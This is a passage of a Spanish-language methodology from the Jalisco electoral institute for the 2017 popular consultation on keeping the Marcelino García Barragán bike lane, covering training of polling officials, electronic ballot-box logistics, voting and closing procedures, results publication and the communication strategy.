popular<\/li>\n<li>Jornada<\/li>\n<\/ol>\n<ul>\n<li>Material y documentaci\u00f3n<\/li>\n<\/ul>\n<p>Se realizar\u00e1 una base de datos en el sistema con los ciudadanos designados como funcionarios de casilla y la lista de reserva.<\/p>\n<h2><strong>Capacitaci\u00f3n de operarios de urna electr\u00f3nica.<\/strong><\/h2>\n<p>La Unidad de Inform\u00e1tica realizar\u00e1 la capacitaci\u00f3n de funcionarios de mesa directiva de casilla y de los capacitadores asistentes electorales, brind\u00e1ndoles el conocimiento y las herramientas necesarias para llevar a cabo los procesos de instalaci\u00f3n, acceso al voto y clausura de las urnas electr\u00f3nicas, as\u00ed como el cambio de consumibles y la correcci\u00f3n de algunos contratiempos que se pueden llegar a presentar durante cualquiera de los procesos antes mencionados.<\/p>\n<h2><strong>Selecci\u00f3n y ubicaci\u00f3n de los centros de capacitaci\u00f3n.<\/strong><\/h2>\n<p>Los centros de capacitaci\u00f3n son los espacios f\u00edsicos que re\u00fanen al capacitador y a los ciudadanos en los cursos de capacitaci\u00f3n con el prop\u00f3sito de instruirlos en el desarrollo de las habilidades y aptitudes para el eficiente desempe\u00f1o de las actividades y tareas que como funcionarios de casilla llevar\u00e1n a cabo durante la Consulta Popular. Por tanto, se requiere contar con instalaciones que re\u00fanan las condiciones m\u00ednimas para la instrumentaci\u00f3n de estas actividades.<\/p>\n<p>Con base en la Programaci\u00f3n de Capacitaci\u00f3n e Integraci\u00f3n de Mesas Directivas de Casilla aprobado, se instrumentar\u00e1 con el personal de la Direcci\u00f3n de Educaci\u00f3n C\u00edvica conforme a la proyecci\u00f3n de ciudadanos que fungir\u00e1n como funcionarios de casilla la capacitaci\u00f3n en centros fijos.<\/p>\n<p>Los horarios para el funcionamiento de los centros de capacitaci\u00f3n, deber\u00e1n programarse de preferencia en los fines de semana, por lo que deber\u00e1n ubicarse y seleccionarse s\u00f3lo aquellos en los que se asegure la m\u00e1s amplia participaci\u00f3n ciudadana.<\/p>\n<h2><strong>\u00a0<\/strong><strong>Criterios para la ubicaci\u00f3n de los centros de capacitaci\u00f3n <\/strong><\/h2>\n<ul>\n<li>Ser ubicados en lugares de amplia concentraci\u00f3n ciudadana y de f\u00e1cil acceso;<\/li>\n<li>No ser locales vinculados a actividades partidistas, de culto religioso, establecimientos fabriles, de vicio o similares;<\/li>\n<li>El tama\u00f1o de las aulas deber\u00e1 ser en funci\u00f3n de la afluencia posible de asistentes a los cursos;<\/li>\n<li>Evitar la selecci\u00f3n de escuelas de preescolar y Centros de Cuidado Infantil, debido a la incomodidad que el mobiliario representar\u00eda a los asistentes a los cursos;<\/li>\n<li>Ubicar lugares que garanticen la seguridad e higiene necesarias para los asistentes a los cursos y,<\/li>\n<li>Contar con un buen sistema de iluminaci\u00f3n natural y\/o artificial.<\/li>\n<\/ul>\n<p>El Personal de la Direcci\u00f3n de Educaci\u00f3n C\u00edvica se encargar\u00e1 de los enlaces correspondientes con las autoridades responsables de las instalaciones en las que se pretenda ubicar un centro de capacitaci\u00f3n, con el prop\u00f3sito de solicitar formalmente la anuencia para la utilizaci\u00f3n del espacio f\u00edsico necesario para el desarrollo de las tareas de capacitaci\u00f3n.<\/p>\n<p>En este sentido, deber\u00e1n revisarse los convenios de colaboraci\u00f3n establecidos por el Instituto Electoral y de Participaci\u00f3n Ciudadana del Estado de Jalisco con instituciones educativas, sociales y gremiales de los distintos sectores (p\u00fablico, privado y social), para establecer contactos con las autoridades responsables a fin de obtener la aprobaci\u00f3n correspondiente.<\/p>\n<p>Las solicitudes que se instrumenten con dichas instancias se formalizar\u00e1n a trav\u00e9s de un oficio firmado por el titular del Instituto dirigido a los responsables de los sitios seleccionados, se\u00f1alando los fines y usos que se persiguen, el periodo en que ser\u00e1n utilizados y el horario de trabajo de los mismos.<\/p>\n<p>Personal de la Direcci\u00f3n de Educaci\u00f3n C\u00edvica realizar\u00e1 el listado de centros de capacitaci\u00f3n, mismo que deber\u00e1 contener: el n\u00famero de centros de capacitaci\u00f3n, el tipo, los datos de ubicaci\u00f3n (secci\u00f3n), domicilio y tel\u00e9fono si lo tiene, periodo, horario y d\u00edas de atenci\u00f3n.<\/p>\n<p>Para efectos de una localizaci\u00f3n \u00e1gil, se deber\u00e1 utilizar un croquis\u00a0 de cada uno de los centros de capacitaci\u00f3n, las secciones electorales que abarca, con la finalidad de optimizar el traslado de los Capacitadores Electorales y la distribuci\u00f3n de los materiales.<\/p>\n<h2><strong>\u00a0<\/strong><strong>Publicaci\u00f3n de las listas de integrantes de las mesas directivas y ubicaci\u00f3n de las casillas.<\/strong><\/h2>\n<p><strong>\u00a0<\/strong><strong>El d\u00eda 2 de julio<\/strong><strong> del presente a\u00f1o, <\/strong>se publicar\u00e1 la lista de ubicaci\u00f3n e integraci\u00f3n de casillas, as\u00ed como el encarte que deber\u00e1 fijarse en los edificios y lugares p\u00fablicos m\u00e1s concurridos, as\u00ed como en los medios electr\u00f3nicos de que disponga el Instituto.<\/p>\n<p>Asimismo, se distribuir\u00e1 documentaci\u00f3n alusiva y se pegar\u00e1 carteles y\/o mantas informativas de instalaci\u00f3n de casillas.<\/p>\n<p>La documentaci\u00f3n alusiva y la pega de carteles y\/o mantas, podr\u00e1 ser distribuida junto con los materiales electorales, a trav\u00e9s de las \u00e1reas facultadas para tal efecto para ello personal de la Direcci\u00f3n de Organizaci\u00f3n Electoral elaborar\u00e1 el calendario de distribuci\u00f3n.<\/p>\n<h2><strong>\u00a0<\/strong><strong>Simulacros.<\/strong><\/h2>\n<p>Con la finalidad de que los funcionarios de mesa directiva de casilla se encuentren familiarizados con la funci\u00f3n a desempe\u00f1ar el d\u00eda de la jornada de la Consulta Popular, se llevar\u00e1n a cabo simulacros en las fechas siguientes:<\/p>\n<p><strong>02 de julio de 2017. <\/strong>Primer simulacro<\/p>\n<p><strong>05 de julio de 2017.<\/strong> Segundo simulacro.<\/p>\n<p><strong>\u00a0<\/strong>El personal de la Direcci\u00f3n de Educaci\u00f3n C\u00edvica coordinar\u00e1 y supervisar\u00e1 los trabajos de impresi\u00f3n, entrega de nombramientos, capacitaci\u00f3n y desarrollo de simulacros y pr\u00e1cticas electorales de los funcionarios de casilla para la consulta popular.<\/p>\n<p>Presentar\u00e1 informes sobre el avance de entrega de nombramientos, capacitaci\u00f3n y simulacros.<\/p>\n<h2><strong>\u00a0<\/strong><strong>Recorrido de supervisi\u00f3n al personal que realizar\u00e1 los simulacros.<\/strong><\/h2>\n<p>Una vez confirmado el correcto funcionamiento\u00a0 de la urnas y habiendo confirmado 100%\u00a0 de la instalaci\u00f3n y apertura de las casillas, personal de la Direcci\u00f3n de Organizaci\u00f3n realizar\u00e1 un recorrido de supervisi\u00f3n para atender las inquietudes y dudas de los funcionarios de casilla y del personal de apoyo Instituto y a su vez, entregar\u00e1 a los funcionarios de casilla los vi\u00e1ticos autorizados por el Consejo General.<\/p>\n<h2><strong>Equipamiento de Casillas.<\/strong><\/h2>\n<p>Previo a los simulacros y a la jornada personal de la direcci\u00f3n de organizaci\u00f3n se trasladar\u00e1 a los domicilios aprobados para la instalaci\u00f3n de las casillas para distribuci\u00f3n del mobiliario y equipo que lo requiera.<\/p>\n<p><strong>El 08 de julio de 2017<\/strong>, la Direcci\u00f3n de Organizaci\u00f3n deber\u00e1 garantizar el adecuado acondicionamiento y equipamiento de las casillas de la jornada de Consulta Popular.<\/p>\n<h2><strong>\u00a0<\/strong><strong>Distribuci\u00f3n de Urnas. \u00a0<\/strong><\/h2>\n<p><strong>El 09 de julio de 2017<\/strong>, en punto de las 06:00 horas, personal de la Direcci\u00f3n de Organizaci\u00f3n, iniciar\u00e1 la distribuci\u00f3n de urnas electr\u00f3nicas en los domicilios aprobados para la instalaci\u00f3n de las casillas, partiendo de la bodega general del Instituto, ubicada en la calle Dr. P\u00e9rez Arce No. 128-A colonia Oro en el municipio de Guadalajara, Jalisco; debiendo concluir con la entrega a las 07:30 horas del mismo d\u00eda.<\/p>\n<h2><strong>\u00a0<\/strong><strong>Asistencia Inform\u00e1tica.<\/strong><\/h2>\n<p>Una vez que sea recibida la urna electr\u00f3nica, el funcionario de mesa directiva de casilla con ayuda del personal de apoyo del Instituto, desempacar\u00e1n la urna electr\u00f3nica y la preparar\u00e1n para su inicializaci\u00f3n.<\/p>\n<p>Ya que la urna electr\u00f3nica se encuentre en espera de participante, la casilla estar\u00e1 lista para que inicie la Consulta Popular, en punto de las 08:00 horas.<\/p>\n<h2><strong>Repliegue y concentraci\u00f3n de urnas a la bodega general del Instituto.<\/strong><\/h2>\n<p>A partir de las 18:00 del d\u00eda de la jornada personal de la Direcci\u00f3n de Organizaci\u00f3n, realizara el recorrido de recolecci\u00f3n de urnas para su traslado a las instalaciones de la bodega general del instituto.<\/p>\n<h2><strong>\u00a0<\/strong><strong>Etapas de la Jornada de Consulta <\/strong><\/h2>\n<p>&#8211; Instalaci\u00f3n de la casilla<\/p>\n<p>&#8211; Inicio de la opini\u00f3n de la Consulta Popular<\/p>\n<p>&#8211; Desarrollo de la Consulta<\/p>\n<p>&#8211; Cierre de la votaci\u00f3n, clausura de la casilla y env\u00edo de resultados.<\/p>\n<p>&#8211; Integraci\u00f3n de expediente<\/p>\n<p>&#8211; Publicaci\u00f3n de resultados<\/p>\n<h2><strong>Quienes pueden tener acceso libre a la casilla<\/strong><\/h2>\n<p>&#8211; Funcionarios de la Mesa Directiva de Casilla<\/p>\n<p>&#8211; Servidores P\u00fablicos del Instituto, previamente identificados.<\/p>\n<p>&#8211; Observadores acreditados<\/p>\n<h2><strong>Mecanismos y prelaci\u00f3n para la sustituci\u00f3n\u00a0 de funcionarios de casilla.<\/strong><\/h2>\n<p>De no instalarse la casilla, a las 8:30 horas, se estar\u00e1 a lo siguiente:<\/p>\n<ol>\n<li>a) Si estuviera el presidente, \u00e9ste designar\u00e1 al funcionario necesario para su integraci\u00f3n, habilitando a uno de los suplentes presentes como secretario;<\/li>\n<li>b) Si no estuviera el presidente, pero estuviera el secretario, \u00e9ste asumir\u00e1 las funciones de presidente de la casilla y proceder\u00e1 a integrarla en los t\u00e9rminos se\u00f1alados en el inciso anterior;<\/li>\n<li>c) Si s\u00f3lo estuvieran los suplentes, uno de ellos asumir\u00e1 las funciones de presidente, y el otro la de secretario, procediendo el primero a instalar la casilla.<\/li>\n<li>d) Si s\u00f3lo estuviera uno de los suplentes, este asumir\u00e1 las funciones de presidente, y designar\u00e1 a un funcionario del Instituto como secretario, procediendo el primero a instalar la casilla.<\/li>\n<li>e) Si no asistiera ninguno de los funcionarios de la casilla, las funciones las realizar\u00e1 un servidor p\u00fablico del Instituto de la lista de funcionarios previamente aprobada por el Consejo General.<\/li>\n<\/ol>\n<h2><strong>Sistema de Informaci\u00f3n sobre la Jornada de la Consulta Popular (SISJOCOP)<\/strong><\/h2>\n<ol>\n<li>El sistema es un proceso de recopilaci\u00f3n, transmisi\u00f3n, captura y disposici\u00f3n de Informaci\u00f3n con el fin de dar seguimiento, a trav\u00e9s de una herramienta inform\u00e1tica, a los aspectos m\u00e1s importantes que se presentan el d\u00eda de la jornada de la consulta en las casillas electorales.<\/li>\n<li>La herramienta inform\u00e1tica que se utilice, debe garantizar que la informaci\u00f3n est\u00e9 disponible en tiempo real para los integrantes del Consejo General, una vez que sea capturada.<\/li>\n<li>El Consejo General determinar\u00e1 los horarios en que se har\u00e1 del conocimiento, los datos que se vayan generando en el sistema durante la jornada de la consulta popular.<\/li>\n<li>La base de datos que alimentar\u00e1 la herramienta inform\u00e1tica, ser\u00e1 la correspondiente al sistema de ubicaci\u00f3n de casillas con corte de las 20:00 del d\u00eda previo al de la consulta.<\/li>\n<li>El cierre de la herramienta inform\u00e1tica que se implemente, ser\u00e1 al momento en que se reporte que lleg\u00f3 la ultima urna electr\u00f3nica a la bodega del instituto para su resguardo.<\/li>\n<li>El sistema deber\u00e1 considerar la totalidad de las casillas que sean aprobadas por el Consejo General, y contendr\u00e1 por lo menos la siguiente informaci\u00f3n de cada una de ellas:<\/li>\n<li>Instalaci\u00f3n de la casilla;<\/li>\n<li>Integraci\u00f3n de la mesa directiva de casilla;<\/li>\n<li>Presencia de personal de apoyo del Instituto;<\/li>\n<li>Presencia de observadores;<\/li>\n<li>Incidentes que pudieran suscitarse en las casillas durante la jornada de la consulta; y<\/li>\n<li>Cierre de casilla.<\/li>\n<li>En todo caso, se privilegiar\u00e1 el reporte de la instalaci\u00f3n de las casillas y el de los incidentes que en su caso se generen desde el inicio de la instalaci\u00f3n de las casillas hasta la conclusi\u00f3n de la jornada de la consulta, sobre otro tipo de informaci\u00f3n.<\/li>\n<li>La herramienta inform\u00e1tica que se implemente, deber\u00e1 estar disponible para su acceso y consulta desde las 7:00 horas del d\u00eda de la elecci\u00f3n, y permitir\u00e1 la generaci\u00f3n de archivos, en texto plano de la informaci\u00f3n capturada.<\/li>\n<\/ol>\n<h2><strong>Jornada de la Consulta Popular.<\/strong><\/h2>\n<p>La Jornada de la consulta popular, tendr\u00e1 verificativo el domino 9 de julio de 2017, en punto de las 8:00 horas y concluir\u00e1 a las 18:00 horas, observ\u00e1ndose para tal efecto lo siguiente:<\/p>\n<h2><strong>De la Instalaci\u00f3n y Apertura de Casillas<\/strong><\/h2>\n<p>Durante el d\u00eda de la consulta se levantar\u00e1 un acta de la jornada consultiva, que contendr\u00e1 los datos comunes a \u00e9sta y las actas relativas al escrutinio y c\u00f3mputo de la opini\u00f3n.<\/p>\n<p>El acta de la jornada consultiva constar\u00e1 de los siguientes apartados:<\/p>\n<ol>\n<li><strong>a)<\/strong> El de instalaci\u00f3n, y<\/li>\n<li><strong>b)<\/strong> El de cierre.<\/li>\n<\/ol>\n<p>En el apartado correspondiente a la instalaci\u00f3n, se har\u00e1 constar:<\/p>\n<ol>\n<li><strong>a)<\/strong> El lugar, la fecha y la hora en que se inicia el acto de instalaci\u00f3n;<\/li>\n<li><strong>b)<\/strong> El Cargo y nombre completo, as\u00ed como la firma aut\u00f3grafa de las personas que act\u00faan como funcionarios de casilla;<\/li>\n<li><strong>c)<\/strong> Que las urnas electr\u00f3nicas se instalaron en presencia de los integrantes de la mesa directiva de casilla para comprobar que estaban sin informaci\u00f3n y que se colocaron en un lugar adecuado a la vista de los participantes que emitir\u00e1n opini\u00f3n;<\/li>\n<li><strong>d)<\/strong> Una relaci\u00f3n de los incidentes suscitados, si los hubiere, y<\/li>\n<li><strong>e)<\/strong> En su caso, la causa justificada<a href=\"#_ftn1\" name=\"_ftnref1\"><sup>[1]<\/sup><\/a> por la que se cambi\u00f3 la ubicaci\u00f3n de la casilla.<\/li>\n<\/ol>\n<p>En ning\u00fan caso se podr\u00e1n recibir opiniones antes de las 8:00 horas.<\/p>\n<p>Los integrantes de la mesa directiva de casilla no podr\u00e1n retirarse sino hasta que \u00e9sta sea clausurada.<\/p>\n<p>Los funcionarios que actuaron en la casilla, deber\u00e1n, sin excepci\u00f3n, firmar las actas.<\/p>\n<p>El d\u00eda de la jornada de la Consulta Popular, a las 7:30 horas, los integrantes de las mesas directivas de casilla, deber\u00e1n presentarse en el lugar designado para iniciar con los preparativos de la instalaci\u00f3n de la casilla.<\/p>\n<p>El presidente ubicar\u00e1 la urna electr\u00f3nica en un lugar visible, cuidando en todo momento se garantice el secreto en la emisi\u00f3n de la opini\u00f3n de la consulta, y mostrando a los presentes que el contenedor de testigos de opini\u00f3n que cuenta con una mica translucida, se encuentra vac\u00edo.<\/p>\n<p>El presidente ejecutar\u00e1 los c\u00f3digos de comando de \u201cpre inicializaci\u00f3n\u201d e \u201cinicializaci\u00f3n\u201d, permitiendo con esto el acceso a los participantes de la consulta para que emitan su opini\u00f3n.<\/p>\n<h2><strong>De la emisi\u00f3n de la opini\u00f3n <\/strong><\/h2>\n<p>Una vez llenada y firmada el acta de la jornada consultiva en el apartado correspondiente a la instalaci\u00f3n, el presidente anunciar\u00e1 el inicio de la consulta.<\/p>\n<p>Iniciada la emisi\u00f3n de la opini\u00f3n no podr\u00e1 suspenderse sino por caso fortuito o causa de fuerza mayor. En este caso, corresponde al presidente dar aviso de inmediato al Consejo General del Instituto a trav\u00e9s del medio de comunicaci\u00f3n a su alcance para que se le indique lo conducente, mencionado la hora en que ocurri\u00f3 y la indicaci\u00f3n del n\u00famero de participantes\u00a0 que al momento hab\u00edan ejercido su derecho de opinar, lo que ser\u00e1 consignado en la hoja de incidentes.<\/p>\n<p>El aviso de referencia deber\u00e1 ser constatado por dos testigos, que lo ser\u00e1n preferentemente, los integrantes de la mesa directiva de casilla.<\/p>\n<p>Recibida la comunicaci\u00f3n que antecede, el Consejo General del Instituto, resolver\u00e1 lo conducente, lo que informar\u00e1 al Presidente de la Mesa Directiva de Casilla.<\/p>\n<p>Para el caso de que se determine suspender una o m\u00e1s casillas por caso fortuito o causas de fuerza mayor, la Instancia Calificadora ordenar\u00e1 se levante el acta circunstanciada correspondiente por conducto del\u00a0 personal del instituto facultado para ello.<\/p>\n<p>Los participantes emitir\u00e1n su opini\u00f3n en el orden en que se presenten ante la mesa directiva de casilla, debiendo mostrar ambos pulgares para poder verificar que no se encuentren marcados con tinta indeleble que indique que hubieran emitido su opini\u00f3n con anterioridad.<\/p>\n<p>Una vez comprobado que el participante no ha emitido su opini\u00f3n, el presidente permitir\u00e1 la emisi\u00f3n de la opini\u00f3n, accionando el c\u00f3digo de \u201cacceso al voto\u201d<\/p>\n<p>Acto seguido, el participante pasar\u00e1 a la urna electr\u00f3nica, en la cual, previo a emitir su opini\u00f3n, seleccionar\u00e1 si pertenece al g\u00e9nero femenino, masculino, u otro; su rango de edad, y si pertenece a cualquiera de las colonias que forman parte de la consulta popular, a saber: <strong>OBRERA, UNIDAD MODELO, OLIMPICA, UNIVERSITARIA, RANCHO BLANCO (Guadalajara), QUINTA VELARDE, ATLAS, BOSQUES DE BOULEVARD, JARDINES DEL ROSARIO, EL ROSARIO, RANCHO BLANCO (Tlaquepaque), SAN CARLOS, PATRONATO DE LA HABITACI\u00d3N 1 (GONZ\u00c1LEZ GALLO);<\/strong> o en su caso si pertenece a una colonia diferente a las ya mencionadas.<\/p>\n<p>Realizado lo anterior, aparecer\u00e1 la boleta electr\u00f3nica con las dos opciones de la pregunta de la consulta y elegir\u00e1\u00a0 la opci\u00f3n de su preferencia.<\/p>\n<p>Una vez que se eligi\u00f3 la opci\u00f3n deseada se emite un testigo de voto impreso que describe el sentido de la opini\u00f3n, el cual, no estar\u00e1 a su alcance pero si estar\u00e1 a la vista por unos segundos antes de ser depositado en el contenedor transparente de la urna electr\u00f3nica.<\/p>\n<p>Una vez que el participante ejerci\u00f3 su derecho a opinar, el secretario proceder\u00e1 a impregnar con l\u00edquido indeleble el dedo pulgar de cualquiera de sus manos, y a los menores de edad les pondr\u00e1 en cualquiera de sus manos un sello de tinta no toxica, alusivo a la consulta popular, bajo autorizaci\u00f3n de sus padres.<\/p>\n<p>Aquellos participantes que no sepan leer o que se encuentren impedidos f\u00edsicamente para emitir su opini\u00f3n, podr\u00e1n hacerse asistir por una persona de su confianza que les acompa\u00f1e.<\/p>\n<p>Corresponde al presidente, en el lugar en que se haya instalado la casilla, el ejercicio de la autoridad para preservar el orden, asegurar el libre acceso de los participantes, garantizar en todo tiempo el secreto de la opini\u00f3n.<\/p>\n<p>Los miembros de la mesa directiva de casilla deber\u00e1n permanecer en la misma a lo largo de la jornada de consulta, pero en ning\u00fan caso podr\u00e1n interferir con la libertad y secreto de la emisi\u00f3n de la opini\u00f3n de los participantes.<\/p>\n<p>Podr\u00e1n accesar a las casillas:<\/p>\n<ol>\n<li><strong>a)<\/strong> Los participantes que hayan sido admitidos por el presidente de la mesa directiva de casilla;<\/li>\n<li><strong>b)<\/strong> Los notarios p\u00fablicos que deban dar fe de cualquier acto relacionado con la integraci\u00f3n de la mesa directiva, la instalaci\u00f3n de la casilla y, en general, con el desarrollo de la opini\u00f3n siempre y cuando se hayan identificado ante el presidente de la mesa directiva y precisada la \u00edndole de la diligencia a realizar, misma que en ning\u00fan caso podr\u00e1 oponerse al secreto de la opini\u00f3n, y<\/li>\n<li><strong>c)<\/strong> Los servidores p\u00fablicos del Instituto que fueren enviados por el Consejo General o llamados por el presidente de la mesa directiva.<\/li>\n<\/ol>\n<p>En ning\u00fan caso se permitir\u00e1 el acceso a las casillas a personas que se encuentren privadas de sus facultades mentales, intoxicadas, bajo el influjo de enervantes, embozadas o armadas.<\/p>\n<p>Tampoco tendr\u00e1n acceso a las casillas, salvo que sea para ejercer su derecho de emisi\u00f3n de la opini\u00f3n, miembros de corporaciones o fuerzas de seguridad p\u00fablica, dirigentes de partidos pol\u00edticos o representantes populares.<\/p>\n<p>De conformidad con lo establecido en el art\u00edculo 3 del C\u00f3digo Electoral y de Participaci\u00f3n Social del Estado de Jalisco; el Consejo General como \u00danica Instancia Calificadora podr\u00e1 solicitar, en todo tiempo, el auxilio de las autoridades estatales y municipales y de las fuerzas de seguridad p\u00fablica a fin de preservar el orden en las casillas y la normalidad de la jornada de consulta.<\/p>\n<p>En estos casos, el secretario har\u00e1 constar las causas del quebranto del orden y las medidas acordadas por el presidente, en la hoja de incidentes que deber\u00e1 firmarse por los funcionarios de la mesa directiva de casilla, levant\u00e1ndose el acta circunstanciada correspondiente por conducto del personal del instituto facultado para ello.<\/p>\n<h2><strong>Del cierre de la opini\u00f3n. <\/strong><\/h2>\n<p>La emisi\u00f3n de la opini\u00f3n concluir\u00e1 a las 18:00 horas.<\/p>\n<p>S\u00f3lo permanecer\u00e1 abierta despu\u00e9s de las 18:00 horas, aquella casilla en la que a\u00fan se encuentren participantes formados para emitir su opini\u00f3n. En este caso, se cerrar\u00e1 una vez que quienes estuviesen formados a las 18:00 horas hayan emitido opini\u00f3n.<\/p>\n<p>Concluida la recepci\u00f3n de la opini\u00f3n, el presidente ejecutar\u00e1 el c\u00f3digo de \u201cclausura y transmisi\u00f3n\u201d, para que en ese momento se transmitan los resultados de la consulta a los servidores inform\u00e1ticos del Instituto Electoral y de Participaci\u00f3n Ciudadana del Estado de Jalisco, la urna electr\u00f3nica imprimir\u00e1 de manera autom\u00e1tica el acta de cierre de opini\u00f3n y escrutinio y c\u00f3mputo que deber\u00e1 ser firmada por los funcionarios de casilla.<\/p>\n<p>Una vez cerrada la jornada de consulta y llenado y firmado el apartado correspondiente del acta de la jornada, el presidente de la mesa directiva con ayuda del personal de apoyo del instituto, realizar\u00e1 la clausura, apagado y empacado de la urna electr\u00f3nica.<\/p>\n<h2><strong>Validaci\u00f3n de Resultados y Declaratoria de Postura Mayoritaria. <\/strong><\/h2>\n<p>Transmitida la totalidad de los resultados de las urnas electr\u00f3nicas, el Consejo General como \u00danica Instancia Calificadora, proceder\u00e1 a validar los mismos y; emitir\u00e1 declaratoria en la que establezca cual fue la postura mayoritaria.<\/p>\n<p>Solo en el caso de que la postura mayoritaria sea la <strong>NO PERMANENCIA<\/strong> de la ciclov\u00eda en el \u201cBoulevard Marcelino Garc\u00eda Barrag\u00e1n\u201d, el Consejo General comunicar\u00e1 a la autoridad dicho resultado, para a efecto de que \u00e9sta proceda en los t\u00e9rminos del art\u00edculo 444 del C\u00f3digo Electoral y de Participaci\u00f3n Social del Estado de Jalisco, lo que har\u00e1 en un t\u00e9rmino no mayor a ocho d\u00edas h\u00e1biles contados a partir de que reciba la comunicaci\u00f3n formal.<\/p>\n<h2><strong>Programa de Resultados. (PRCP)<\/strong><\/h2>\n<p>Personal de la Unidad de Inform\u00e1tica realizar\u00e1 la programaci\u00f3n de una p\u00e1gina de internet, en la cual se podr\u00e1 consultar la totalidad de los resultados de la consulta popular, as\u00ed como los que arroje cada una de las urnas electr\u00f3nicas.<\/p>\n<p>Dichos resultados se ver\u00e1n reflejados una vez que sean clausuradas cada una de las urnas electr\u00f3nicas y que hayan realizado la transmisi\u00f3n de los resultados a los servidores inform\u00e1ticos del Instituto.<\/p>\n<p>Los resultados ser\u00e1n p\u00fablicos, para que cualquier persona con acceso a internet los pueda consultar.<\/p>\n<p>La estrategia integral de comunicaci\u00f3n que se desarrollar\u00e1 en la implementaci\u00f3n de la Consulta Popular, es la siguiente:<\/p>\n<p>La estrategia integral de comunicaci\u00f3n que se desarrollar\u00e1 en la implementaci\u00f3n de la Consulta Popular, es la siguiente:<\/p>\n<h2><strong>Objetivo General. <\/strong><\/h2>\n<p>Dar a conocer a los habitantes del pol\u00edgono determinado relacionado con\u00a0 la ciclov\u00eda Marcelino Garc\u00eda Barrag\u00e1n,\u00a0 a trav\u00e9s de diversas plataformas de comunicaci\u00f3n: redes sociales, medios impresos, medios electr\u00f3nicos, etc.,\u00a0 que se llevar\u00e1 a cabo una consulta popular acerca de la permanencia o no de dicha ciclov\u00eda.<\/p>\n<h2><strong>Objetivos Espec\u00edficos de las Actividades de Comunicaci\u00f3n y Difusi\u00f3n<\/strong>.<\/h2>\n<p>Poner en conocimiento del p\u00fablico destinatario la informaci\u00f3n referente a la consulta popular: en qu\u00e9 consiste, pregunta que se someter\u00e1 a consulta,\u00a0\u00a0 lugares para votar, etc.<\/p>\n<p>Proporcionar contenidos y mensajes pertinentes, as\u00ed como la informaci\u00f3n necesaria acerca de la consulta popular.<\/p>\n<h2><strong>Mensajes y contenidos. <\/strong><\/h2>\n<p>Los mensajes de este plan deber\u00e1n difundir la esencia de las posturas a consulta as\u00ed como la invitaci\u00f3n a participar a los habitantes del pol\u00edgono referido en dicha consulta. Para ello ser\u00e1 necesaria la instalaci\u00f3n de mesas de di\u00e1logo a las que se convocar\u00e1 a los habitantes. De dichas mesas deber\u00e1n surgir 10 puntos\u00a0 por el <strong>S\u00cd<\/strong> y 10 puntos sobre el <strong>NO, <\/strong>\u00a0mismos\u00a0 que ser\u00e1n impresos y distribuidos en el pol\u00edgono donde se efectuar\u00e1 la consulta.<\/p>\n<p>De igual manera, se realizar\u00e1n las gestiones ante una televisora p\u00fablica local para que las posturas resultantes de las mesas de di\u00e1logo puedan transmitirse por televisi\u00f3n.<\/p>\n<h2><strong>Los contenidos deber\u00e1n: <\/strong><\/h2>\n<p>Explicar de manera sint\u00e9tica en qu\u00e9 consiste una consulta popular<\/p>\n<p>Dar a conocer la pregunta que se someter\u00e1 a la consulta:<\/p>\n<p><strong>\u00bfDEBE PERMANECER LA CICLOV\u00cdA EN EL BOULEVARD MARCELINO GARC\u00cdA BARRAG\u00c1N? <\/strong><\/p>\n<p><strong>S\u00cd DEBE. <\/strong><\/p>\n<p><strong>NO DEBE.<\/strong><\/p>\n<p>Dar a conocer las posturas involucradas en la consulta<\/p>\n<p>Todo el material de difusi\u00f3n tendr\u00e1 la leyenda <strong><em>#YoParticipo<\/em><\/strong><\/p>\n<p><strong>Destinatarios. <\/strong><\/p>\n<p>Los destinatarios del mensaje ser\u00e1n:<\/p>\n<p>Habitantes del pol\u00edgono de referencia<\/p>\n<p>Medios de comunicaci\u00f3n y organismos intermedios<\/p>\n<p>Sociedad en general<\/p>\n<h2><strong>Estrategias.<\/strong><\/h2>\n<p>Gestionar entrevistas en medios de comunicaci\u00f3n para informar a la sociedad lo referente a la consulta popular en cuesti\u00f3n.<\/p>\n<p>Dise\u00f1ar y distribuir carteles y d\u00edpticos en los lugares de alta concentraci\u00f3n de habitantes (espacios educativos, plazas p\u00fablicas, centros comerciales, lugares en donde se instalar\u00e1n las urnas receptoras de la opini\u00f3n, y aquellos lugares que se consideren pertinentes para la difusi\u00f3n). Estos materiales contendr\u00e1n la pregunta a consulta y las posturas de ambas partes involucradas.<\/p>\n<p>Publicar en la p\u00e1gina institucional, en las plataformas de redes sociales institucionales y en inserciones de media plana en tres peri\u00f3dicos locales la convocatoria a participar en la consulta popular.<\/p>\n<p>Publicar en la p\u00e1gina institucional, en las plataformas de redes sociales institucionales y en inserciones de media plana en tres peri\u00f3dicos locales la informaci\u00f3n general acerca de la consulta popular.<\/p>\n<h2><strong>\u00a0<\/strong><strong>Curso taller intensivo a medios de comunicaci\u00f3n.<\/strong><\/h2>\n<p>Como una manera de acercar a los medios de comunicaci\u00f3n\u00a0 a los mecanismos de participaci\u00f3n social, y en particular a la consulta que se realizar\u00e1, se desarrollar\u00e1 un curso-taller a representantes de medios de comunicaci\u00f3n para que conozcan los detalles de la consulta. El taller estar\u00e1 coordinado por el \u00e1rea de Comunicaci\u00f3n Social y ser\u00e1 impartido por la Direcci\u00f3n de Participaci\u00f3n Ciudadana.<\/p>\n<h2><strong>\u00a0<\/strong><strong>Casos no previstos.<\/strong><\/h2>\n<p>Los casos no previstos en la presente metodolog\u00eda, ser\u00e1n resueltos por el Consejo General del Instituto.<\/p>\n<p><a href=\"#_ftnref1\" name=\"_ftn1\">[1]<\/a> Se considera que existe causa justificada para la instalaci\u00f3n de una casilla en lugar distinto al se\u00f1alado, cuando: no exista el local indicado en las publicaciones respectivas; el local se encuentre cerrado o clausurado y no se pueda realizar la instalaci\u00f3n; las condiciones del local no permitan asegurar la libertad o el secreto de la opini\u00f3n, el f\u00e1cil y libre acceso de los participantes o bien, no garanticen la realizaci\u00f3n de las operaciones consultivas en forma normal; y el Consejo General as\u00ed lo disponga por causa de fuerza mayor o caso fortuito y se lo notifique al presidente de la casilla.<\/p>\n<p>\t\t\t\t\t\tLegislaci\u00f3n Relevante\t\t\t\t\t<\/p>\n<h2>Art\u00edculo 441.<\/h2>\n<ol>\n<li>La consulta popular ser\u00e1 organizada y realizada por el Instituto, sin perjuicio de lo establecido en el art\u00edculo 386, p\u00e1rrafo 4.<\/li>\n<li>El Instituto podr\u00e1 delegar en los Poderes Legislativo y Ejecutivo del Estado, as\u00ed como en los Ayuntamientos, la organizaci\u00f3n y realizaci\u00f3n de consultas populares.<\/li>\n<\/ol>\n<h2>Art\u00edculo 442.<\/h2>\n<ol>\n<li>Pueden solicitar una 